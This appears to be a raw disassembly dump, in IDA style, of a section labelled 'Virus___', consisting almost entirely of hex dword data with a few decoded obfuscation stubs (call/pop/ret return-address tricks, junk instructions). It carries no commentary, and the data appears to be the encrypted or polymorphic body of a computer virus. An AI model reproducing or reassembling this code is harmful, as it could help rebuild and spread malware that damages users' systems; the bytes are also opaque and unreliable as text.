		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h
		dd 2114430h, 11642858h,	11043001h, 7504E983h, 8B00EBE7h
		dd 55006AC0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 1DFD5BD4h, 0B5892168h, 71B2A05h,	5C1CBF66h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 7EC35646h
		dd 0BEA18EFEh, 68B0Fh, 0BD8B0000h, 71B2BEDh, 65952951h
		dd 5F071B1Fh, 18CDBD83h, 0F03071Bh, 3F485h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 8B666094h, 0CE8B66F0h, 0DFBF0F61h, 0ABC8BD83h, 0F00071Eh
		dd 3C084h, 4DBD8B00h, 0FF071B00h, 1EABC8B5h, 0F95B5007h
		dd 9A595FFh, 6A071Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 7139A3C3h, 0B0739AA4h, 0BB669393h
		dd 9D8BE54Bh, 71B02FDh,	0ABBCB58Bh, 6A071Eh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 2C1184C3h
		dd 0ABD6E574h, 0B5896052h, 71B1FD1h, 6C75B61h, 10001h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 78C35646h
		dd 0BA6B39CDh, 5BD8BA3h, 50071B2Dh, 7E9h, 95772700h, 0A82B8E28h
		dd 6A243489h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 0FFD0C352h, 1EABC8B5h,	960ABB07h
		dd 95FF6613h, 71B3561h,	0E8F88B66h, 0Ah, 61AFC009h, 84FA0AA4h
		dd 0FE8D4A1h, 28000000h, 2C3CEB2Dh, 254EB3F1h, 573BB21Eh
		dd 8B669814h, 8B5F5BDFh
		dd 1EABBCB5h, 8B666007h, 12E9C7h, 0EA080000h, 6208B590h
		dd 63AF52F4h, 67E99D6Dh, 0CDD67F7Dh, 11858B61h,	0E9071B04h
		dd 0Dh,	0A6EF2097h, 0C6DC9F6Fh,	0AB06D55Ah, 0C48689B6h
		dd 8B000000h, 1B29B595h, 52006A07h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1504h, 0C3524200h, 0C28359CBh, 57006A04h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 0C9C9A2AFh, 0F56D1A6h, 684h,	19D0100h, 5B071B03h, 0F205089h
		dd 858DFFBFh, 71EBFF9h,	0C5CB8166h, 0B8868974h,	6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 8BE8C355h, 6A006AF9h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 44BAC357h
		dd 0E050A7CEh, 0F9B70F58h, 0ABC8B5FFh, 95FF071Eh, 71B09DDh
		dd 0BF96FC8Ah, 661567B3h, 6BF6650h, 6A9654h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0A4109CC3h
		dd 0D28DA20Bh, 0FFF8311Ch, 1EABC8B5h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 6E42AF8Bh, 25BD3172h, 8A071B03h, 4195FFFCh, 0F071B03h
		dd 58Ah, 0CF816600h, 0BD83970Bh, 71B2431h, 0F840F00h, 66000000h
		dd 50A8C8BFh, 3489D98Ah, 0BF0F5224h, 0B5FF5FF9h, 71EABC8h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 85C35141h
		dd 0F9C441BBh, 1421BD8Bh, 95FF071Bh, 71B18A5h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 66C35747h, 0ABC8B5FFh
		dd 6A071Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 8B7BA2C3h, 1B2AD19Dh, 0DF8B6607h,	293D95FFh
		dd 6A071Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
		dd 57470000h, 0F2CEA9C3h, 9DCB8713h, 0B6D39A7h,	1B153D9Dh
		dd 21BD8907h, 0F071B17h, 0BD83DBBFh, 71B28F1h, 5B840F02h
		dd 8B000000h, 1B18C59Dh, 7D858B07h, 6A071B00h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0E07CC351h, 60E714D4h, 3880Fh, 8B660000h, 5800FF8h
		dd 66000000h, 8278D281h, 0C661h, 11E9h,	15E12C00h, 1FF3E921h
		dd 0FC83C423h, 0FD7A625Eh, 85C75F26h, 71B0991h,	0
; ---------------------------------------------------------------------------
		sub	bx, 196Ah
		jmp	loc_586DC0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_587A25
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_587A25	proc near		; CODE XREF: Virus___:00587A1Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Bh
		inc	eax
		push	eax
		retn
sub_587A25	endp

; ---------------------------------------------------------------------------
		db 0E5h, 79h, 0B4h
		dd 82E01A88h, 5D9D8B50h, 8B071B2Ch, 53006AC1h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0FC1B091h
		dd 684h, 0B99D2900h, 8D071B21h,	1B125585h, 50006A07h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
		dd 0FE02590h, 138Bh, 0EE900h, 79880000h, 9B899C31h, 0A6625279h
		dd 68728E4h, 98FEBB66h,	6AC4BF90h, 665049B2h, 8190F88Bh
		dd 0D19567CFh, 0E8006A4Bh, 0Fh,	91BBB555h, 0D9AE64Bh, 89BE9809h
		dd 33DFC1A5h, 1B22A19Dh, 6A5B07h, 0CAFA858Dh, 8B0F071Fh
		dd 0Fh,	0AE9h, 0F2057E00h, 0D1CEC658h, 8311A689h, 9D8B05C0h
		dd 71B137Dh, 14E990h, 930000h, 0EADE561Fh, 0BB74DA96h
		dd 0C3A37636h, 76B6CA6Ah, 66500D23h, 6A90DF8Bh,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0B2DAC357h, 8A5F9C3Fh, 0B7EA97F2h, 6A006A57h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0ECACC355h, 61148EBBh, 0BFBB66A3h, 6A006A99h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 149BC351h, 0F4616BCh, 687h, 0B9858900h, 0FF071B12h
		dd 1B1EA995h, 8E807h, 0E800000h, 4AC6CC9Dh, 5BF56F6Ch
		dd 0D252F781h, 8D8D095Dh, 71E979Ch, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 18h, 7EC35040h, 0C9F1C2A2h, 11A19589h
		dd 4B7071Bh, 0D780D1FFh, 0C99D8967h, 83071B16h,	1B2105BDh
		dd 850F0107h, 64h, 6ADE8B66h, 55006A02h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 9D896D40h
		dd 71B0A39h, 50FA8B90h,	90DF8B66h, 4800Fh, 0BF660000h
		dd 95FFD48Ah, 71B09DDh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 0DAC35141h, 9D8B79C2h, 71B1795h, 0CC9E9h
		dd 0E800h, 815D0000h, 1FCB04EDh, 68C0F07h, 81000000h, 2C6B93C3h
		dd 8AB2BB49h, 858D5202h, 71E9202h, 2F21BD2Bh, 8B90071Bh
		dd 0E85350D9h, 6, 0D7C5EBF4h, 6160CBBCh, 81905B5Bh, 461649F3h
		dd 0FF64FC13h, 35h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 0DF816636h, 89643BC4h
		dd 25h,	50006A00h, 3E8h, 0C3582000h, 24448958h,	24448104h
		dd 1A04h, 0C3504000h, 44BC02A2h, 8BA78BD8h, 1B26DD9Dh
		dd 14E907h, 3FA60000h, 4696EE60h, 506A61BDh, 6F4515ADh
		dd 0F6286D44h, 85FF43A3h, 71B264Dh, 11E9h, 3DE10400h, 6C86EE90h
		dd 0C7F4BDEBh, 0AC6320FBh, 0FF6AA719h, 0B5FFD88Bh, 71B0A0Dh
		dd 0DE8h, 0D4AF0D00h, 0BF0D4845h, 0E8BD775Fh, 9D8B2390h
		dd 71B3129h, 4595FF5Bh,	0E9071B2Fh, 116h, 23118D89h, 0B0071Bh
		dd 0AF7563BFh, 0E970E624h, 0Ah,	18CDD10Ah, 6BD79AD0h, 71E4BEE8h
		dd 7E9h, 0DCC8C500h, 0FEAFB719h, 8B665056h, 3C5F5FF8h
		dd 0DB830F61h, 0F000000h, 0B60FFEBFh, 0C1BD8BC8h, 0BA071B00h
		dd 6, 0DB59501h, 0C18B071Bh, 98E0BB66h,	0F904E8C1h, 56E2F766h
		dd 10E9h, 0C8D1DF00h, 50369DA8h, 89B17D99h, 0FC86FE46h
		dd 0C82B5B73h, 7E9h, 0A1622F00h, 6287048Ah, 6870Fh, 85890000h
		dd 71B23B1h, 7FE9D18Bh,	0F000000h, 388h, 0D88B6600h, 4858Bh
		dd 23BB0000h, 83101CE9h, 9D8907C0h, 71B1A99h, 5200C083h
		dd 541BD89h, 805F071Bh,	0D03BC9EFh, 9830Fh, 8B660000h
		dd 44E9FBh, 8BF80000h, 0FFFFFF8Dh, 0DF8166FFh, 0E18395AFh
		dd 2F840F01h, 8B000000h, 1B00ED9Dh, 0FFA58307h,	0FEFFFFFFh
		dd 9E8h, 0BBD0DF00h, 1B9F04E2h,	0FA8B40F1h, 495895Bh, 29000000h
		dd 1B325995h, 0E907h, 0B58D0000h, 71F4A72h, 6A006Ah, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 0CC41F3C3h, 3E63AA4Ah, 8BF2B9D3h, 8995FFDEh,	89071B12h
		dd 1B26359Dh, 1161B907h, 810F0000h, 0Ch, 68A0Fh, 0BD8B0000h
		dd 71B1775h, 23FCE183h,	1B12FDBDh, 0B8FC07h, 1000000h
		dd 1B18799Dh, 6AD22B07h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0EFE1C355h,	0C233AD51h
		dd 0D003E8D1h, 7504E983h, 51006AF4h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 5132FAD0h
		dd 6639585Bh, 15125BBh,	1B048D8Dh, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 931E142Dh
		dd 2D6632E1h, 880DC569h, 89000000h, 1B11B1BDh, 0B5958B07h
		dd 80071B29h, 8D8B6CC7h, 71B02F5h, 4A1BD89h, 8B50071Bh
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 11E9h, 6B9F1400h
		dd 0A834A2F0h, 44C58649h, 956F7C83h, 12E851D0h,	0C3000000h
		dd 298AC43Ch, 46696C2Ch, 6AC5845Eh, 0A191715Ch,	835BF95Fh
		dd 1B2165BDh, 840F0007h, 53h, 0B8h, 898D8D00h, 89071B4Fh
		dd 1B0D91B5h, 6AE1FF07h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 0C759C356h,	9D8B9C46h
		dd 71B352Dh, 10E96057h,	0BC000000h, 6C09598Fh, 295C8234h
		dd 0A9DE07FEh, 571E7549h, 835B615Ah, 1B18CDBDh,	840F0007h
		dd 489h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Ch,	2BC35040h, 0A1182450h, 0C3F95BA0h, 0D943E781h
		dd 0CF81041Ah, 0FF29CB9h, 45CDBF52h, 835B2397h,	1B18CDBDh
		dd 840F0107h, 460h, 6840Fh, 0BD890000h,	71B0885h, 18CDBD83h
		dd 0F03071Bh, 41186h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 50F8F9CEh, 998D8960h
		dd 0F8071B33h, 95315B61h, 71B3085h, 51006A60h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 6840FAAh, 33000000h
		dd 1B16ED9Dh, 0BD316007h, 71B24B9h, 610DF580h, 66FE8B66h
		dd 8B57D98Ch, 1B335DBDh, 0E1805F07h, 51006A04h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1604h,	0C3514100h, 0FC8CB8ABh
		dd 840FC90Ah, 0EBh, 0E852006Ah,	3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 68C35242h, 8BDF8BE3h,	1B30E585h, 8533F507h
		dd 71B3055h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Dh,	49C35242h, 0AE67C4F7h, 0E8D98AD4h, 6ACB81ECh, 90697105h
		dd 5B515250h, 0BB66310Fh, 585A2824h, 905F5050h,	0BD8B006Ah
		dd 71B26FDh, 0C79DAC68h, 605250ECh, 0F616160h, 7E931h
		dd 0BA100000h, 6CEDA99Ah, 81585A98h, 66532404h,	0DA8B1357h
		dd 4E995FFh, 6A071Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 9CFB63C3h, 896CA93Bh, 1EABC885h
		dd 29E9FC07h, 6A000002h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 0B36CC350h,	0E9C9825Bh
		dd 8BCE18EBh, 1EABC085h, 35BD3307h, 0C7071B30h,	1800h
		dd 0C9852900h, 8B071B12h, 1EABC4B5h, 52006A07h,	3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
		dd 4DA06374h, 810F6040h, 5, 629B1DBAh, 9D2B6126h, 71B2F11h
		dd 149858Bh, 870F071Bh,	3, 89D88B66h, 16DF8106h, 8B026AABh
		dd 1B30E585h, 0BD8B5007h, 71B32B5h, 446895Fh, 609661B3h
		dd 0EE9BBE66h, 5061C88Ah, 50525060h, 5A310F52h,	0B6310F58h
		dd 50585AFFh, 0FFB8B52h, 61585A31h, 99B58996h, 0FF071B27h
		dd 1EABC0B5h, 50006A07h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 0C14D5359h, 9D8B9637h, 71B2F9Dh
		dd 14E8h, 48B13A00h, 7DE47179h,	0BB87C32Eh, 0C0868A5Bh
		dd 0D11EA202h, 68D0FF9h, 0F000000h, 85h, 4E85F00h, 0FF000000h
		dd 53001F03h, 3860Fh, 8B660000h, 60505FDEh, 91B05250h
		dd 0BF66310Fh, 585A06D4h, 0CF8B6650h, 448B615Ah, 0F6B30424h
		dd 0EE8008Bh, 54000000h, 77FDA53Dh, 4E005C4Bh, 2F018F74h
		dd 30BF52ABh, 5B24BD4Ah, 2444895Fh, 0FB8B6604h,	52006A58h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1604h, 0C3524200h
		dd 66B14483h, 0D69DEB81h, 0ABC8858Dh, 6A071Eh, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 6FDC56C3h, 14E975h, 0FF1F0000h, 38574F29h, 3B5112A6h
		dd 0BC50F30Ch, 5AD161B2h, 8950E206h, 6A2404h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 3F3AD5C3h
		dd 0BF6695D4h, 95FFE0DCh, 71B04E9h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 4FC35242h, 0ED646B53h, 4B1FCB39h
		dd 6480BF44h, 0FE8B6008h, 2850F61h, 8B000000h, 0CD85C7D8h
		dd 3071B18h, 6A000000h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 835BC357h, 1EABC8BDh
		dd 840F0007h, 4Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 89C35646h, 991FE9E5h,	3EE9B0D2h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 9B78C351h, 0E81CDB3Eh, 3050FE8Bh,	4400110Ch
		dd 0E8C10111h, 11443010h, 114C0002h, 0E9835803h, 0EBE77504h
		dd 4305036h, 11640011h,	10E8C101h, 2114430h, 3116400h
		dd 4E98358h, 1BEBE775h,	10E8C150h, 3116428h, 2114430h
		dd 11642858h, 11043001h, 7504E983h, 8B00EBE7h, 53006AC0h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1C04h, 0C3534300h
		dd 4B03A0F9h, 26CAFA38h, 659D316Eh, 66071B26h, 0FD701BFh
		dd 0BD83D8B7h, 71B18CDh, 0D8850F03h, 29000003h,	1B183985h
		dd 0C8BD8307h, 71EABh, 3C5840Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 3BBDB0C3h
		dd 0C8B5FFA8h, 6A071EABh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 1AB3C356h, 95FFD519h
		dd 71B09A5h, 29C9BD31h,	0B58B071Bh, 71EABBCh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0ECC35747h, 0B9B0B931h
		dd 7DEC0E61h, 41B589F9h, 0C7071B30h, 1000106h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 7DBD8B23h, 96071B1Ch, 6BF2EEBFh, 0E9965077h,	0Eh, 77BBE307h
		dd 9412FB49h, 407C46A7h, 0B5FFE216h, 71EABC8h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 8DC35545h, 9E32C99Dh
		dd 33DAB277h, 1B2E459Dh, 6195FF07h, 6A071B35h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 0AC81C355h, 39CA8F57h, 0BCB58B6Ah, 6A071EABh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 3498C357h, 807FD7CEh, 1A8F279Ah, 411858Bh, 0DF8B071Bh
		dd 89DEB70Fh, 0C486h, 0F7816600h, 958B7023h, 71B29B5h
		dd 4519D8Bh, 0C283071Bh, 55006A04h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 0D3427254h, 4A8AC75Dh
		dd 0DABF0F98h, 8D205089h, 1EBFF985h, 0B8868907h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 0E5E0C353h, 27A1C94Ah, 9795741Ch,	6A006AF5h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 4496C350h, 8BBD939Ah, 1B1F19BDh, 0C8B5FF07h
		dd 6A071EABh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 18042444h, 46000000h, 8318C356h, 0FB1AAF0h, 68Ch, 5BD8B00h
		dd 0FF071B2Ah, 1B09DD95h, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0BD8BF003h
		dd 71B3119h, 48E0F96h, 52000000h, 505B5F50h, 5E8h, 5C193300h
		dd 965FD84Eh, 14458D89h, 0B5FF071Bh, 71EABC8h, 95FFFA8Bh
		dd 71B0341h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	33C35343h, 85291163h, 71B2D1Dh,	2431BD83h, 0F00071Bh
		dd 3384h, 0BDB58900h, 50071B32h, 0FDF8B60h, 88h, 34896100h
		dd 13E824h, 98290000h, 8B9F74DEh, 0A42CA1ACh, 45100337h
		dd 506FD1BCh, 558D8978h, 5B071B29h, 0ABC8B5FFh,	6A071Eh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0FF18E2C3h, 1B18A595h, 0FEB70F07h, 0ABC8B5FFh, 0EE9071Eh
		dd 91000000h, 41D5A739h, 0EED12D5Eh, 4C24B435h,	3D95FF8Dh
		dd 80071B29h, 0BD8341E3h, 71B28F1h, 64840F02h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0ECA4C351h, 7910C7D3h, 7D858BFCh,	6A071B00h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 3709C352h, 0D064B0CEh, 0C6F6h, 0CE9h, 542EB400h
		dd 81213D38h, 0FFC5831Bh, 45BD8B7Fh, 0C7071B24h, 1B099185h
		dd 7, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 29BD039Ah, 0E9071B00h, 0FFFFF42Eh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 10C35242h
		dd 66FEEB17h, 0C18BFA8Bh, 858D71B7h, 71B1255h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 2C35343h, 66509DB8h
		dd 8957B9BBh, 9D2B2404h, 71B2545h, 6A006Ah, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0B5F23C3h
		dd 562C8B1Fh, 0AB3C49Dh, 8166006Ah, 12A1AD7h, 1B2CE99Dh
		dd 4F858D07h, 0B7071FD9h, 5C083AFh, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 16h, 79C35040h, 0BD8B4187h, 71B0CD1h
		dd 89F88B50h, 9D012404h, 71B08E5h, 6A006Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 726641C3h
		dd 8C57034Ch, 0F56DB199h, 0BB66006Ah, 95FFCD67h, 71B1EA9h
		dd 31DBD0Bh, 8D8D071Bh,	71E979Ch, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 16h, 9EC35242h, 0B58997B9h, 71B23C1h
		dd 0E9F9D1FFh, 0Bh, 0FCC79F60h,	7203B922h, 83A4C207h, 1B2105BDh
		dd 850F0107h, 61h, 8F0Fh, 26A0000h, 1F820F90h, 60000000h
		dd 0E3FBA2B9h, 13E92Ah,	0E5C70000h, 57FA8F07h, 8A58763Dh
		dd 660EFB65h, 3029331h,	665061EDh, 6A90D88Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
		dd 0FBF9C355h, 0F780B562h, 0DD95FFDEh, 81071B09h, 0C2E59DDFh
		dd 0D57E925h, 0E80000h,	5D000000h, 0D959ED81h, 6A071Fh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 0CB986CC3h, 9C9654CCh, 8B54A104h, 1B2EA19Dh,	75BD8B07h
		dd 50071B31h, 318D9D8Bh, 8D5B071Bh, 1E920285h, 57006A07h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 5681E2E6h, 0F50EA58h, 285h, 89FE8A00h, 9D8B2404h, 71B1739h
		dd 35FF64h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 1529C352h, 23AD9D8Bh
		dd 8964071Bh, 25h, 85FFFC00h, 71B264Dh,	28E59D8Bh, 0FF6A071Bh
		dd 9C7ECB81h, 830F5A84h, 6, 1E91BD8Bh, 0B5FF071Bh, 71B09EDh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0A8C35141h
		dd 0C73BC27Ch, 8BE0BF48h, 1B1AF59Dh, 4595FF07h,	0E9071B2Fh
		dd 117h, 14E9h,	62982D00h, 18C6BA64h, 6F437DA3h, 124EB6D2h
		dd 85998849h, 3100B044h, 1B32E98Dh, 0E470E607h,	54F0BB71h
		dd 613C0A34h, 0E5830Fh,	0B5890000h, 71B0CD1h, 1FFDBD89h
		dd 0B60F071Bh, 89F98BC8h, 1B187995h, 6BA07h, 0AE90000h
		dd 62000000h, 7BF6F05Fh, 9AD391F3h, 0E8C18BE8h,	8, 586F69B7h
		dd 0A92DA69Dh, 4E8C15Fh, 12598589h, 5E9071Bh, 58000000h
		dd 87EE53A4h, 89E2F766h, 1B2A518Dh, 31C82B07h, 1B28D59Dh
		dd 0FD18B07h, 38Bh, 53F38000h, 76E9h, 44858B00h, 605F4C4Ch
		dd 82805FB8h, 4D858B4Fh, 61071B00h, 8D0Fh, 0C0830000h
		dd 0EAB4BB07h, 0C08320DEh, 1DBD8900h, 3B071B21h, 11830FD0h
		dd 8B000000h, 1B2CE5BDh, 39E907h, 840F0000h, 0
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-1]
		mov	ebx, 4C07213Fh
		mov	bx, 17ABh
		and	ecx, 1
		jz	loc_588CDF
		stc
		and	dword ptr [ebp-1], 0FFFFFFFEh
		mov	bl, 6Eh
		mov	[ebp+5F4C4C44h], edx
		mov	ebx, [ebp+71B21ADh]
		jmp	$+5


loc_588CDF:				; CODE XREF: Virus___:00588CBEj
		lea	esi, [ebp+71F5BD3h]
		push	0
		push	ebp
		call	sub_588CF0
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588CF0	proc near		; CODE XREF: Virus___:00588CE8p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_588CF0	endp

; ---------------------------------------------------------------------------
		dd 6AF88B2Bh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 0C13B34F3h, 8995FF15h, 66071B12h
		dd 0BBBD19BFh, 784962AEh, 0EB8B9h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1A04h,	0C3524200h, 682E4024h
		dd 0FAAA518h, 0E183FBBFh, 319501FCh, 0FC071B2Ch, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 7BC35545h, 0EAC245B6h
		dd 91B58982h, 2B071B16h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 0B278920Eh, 15A99D29h
		dd 0D22B071Bh, 0C233ADF8h, 0D003E8D1h, 7504E983h, 519D8BF4h
		dd 6A071B27h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 456DC355h, 880D2377h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 0F847C350h, 0C174B843h, 0FA300698h, 4830Fh
		dd 0BF660000h, 81661541h, 0F3EF3E3h, 958BF8B7h,	71B29B5h
		dd 84F1D3BBh, 0D5B58973h, 8B071B1Eh, 1B02F58Dh,	56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0B45B6D49h, 7DBC91F2h, 8BC28B50h, 8BC10318h,	0D1C18B18h
		dd 8BC203E8h, 880F5818h, 5, 75DB8166h, 0EE9602Ch, 11000000h
		dd 0A7EE33BFh, 1B5E87B0h, 0DC7FC3A6h, 0C5D681A6h, 61213A30h
		dd 4018529h, 0BD83071Bh, 71B2165h, 0B2840F00h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 2CB0C357h, 12E985h, 5EB80000h, 719E64C6h
		dd 8D9EA03h, 8DDE43F6h,	884117B6h, 0B8h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
		dd 0B67C5C87h, 0B958040h, 59B5895Dh, 8D071B17h,	1B4F898Dh
		dd 0F7816607h, 0C7812903h, 4C5B408h, 6AE1FFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0CCE76BC3h
		dd 50258030h, 12E9771Eh, 0ED000000h, 0E9CFDD88h, 2903DE61h
		dd 489A33ABh, 0B964B798h, 0CDBD83ADh, 71B18h, 46D840Fh
		dd 13E90000h, 3D000000h, 0EB5558F7h, 4532C604h,	0B535C986h
		dd 1D3E859Bh, 0BD8367ABh, 71B18CDh, 63840F01h, 6A000004h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 0F3C2C350h, 0EB81664Eh, 0BD83D342h, 71B18CDh
		dd 0FD860F03h, 6A000003h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 6637C353h, 6C99EF81h
		dd 52006A60h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 6645E053h, 8C66D98Bh, 14860FD9h,	0E8000000h
		dd 0Dh,	0D935C571h, 28C85101h, 211BEF4Bh, 805BF5F7h, 0AE904E1h
		dd 0C3000000h, 64D7BDF4h, 70C4F2D9h, 0FC90A33h,	10A84h
		dd 2840F00h, 8A000000h,	0E5858BD8h, 0B3071B30h,	558533C9h
		dd 8B071B30h, 1B29E5BDh, 0CE85007h, 0BD000000h,	0FAE3B8A8h
		dd 1DD30243h, 5B50BB6Eh, 8B240489h, 1B3259BDh, 6A006A07h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
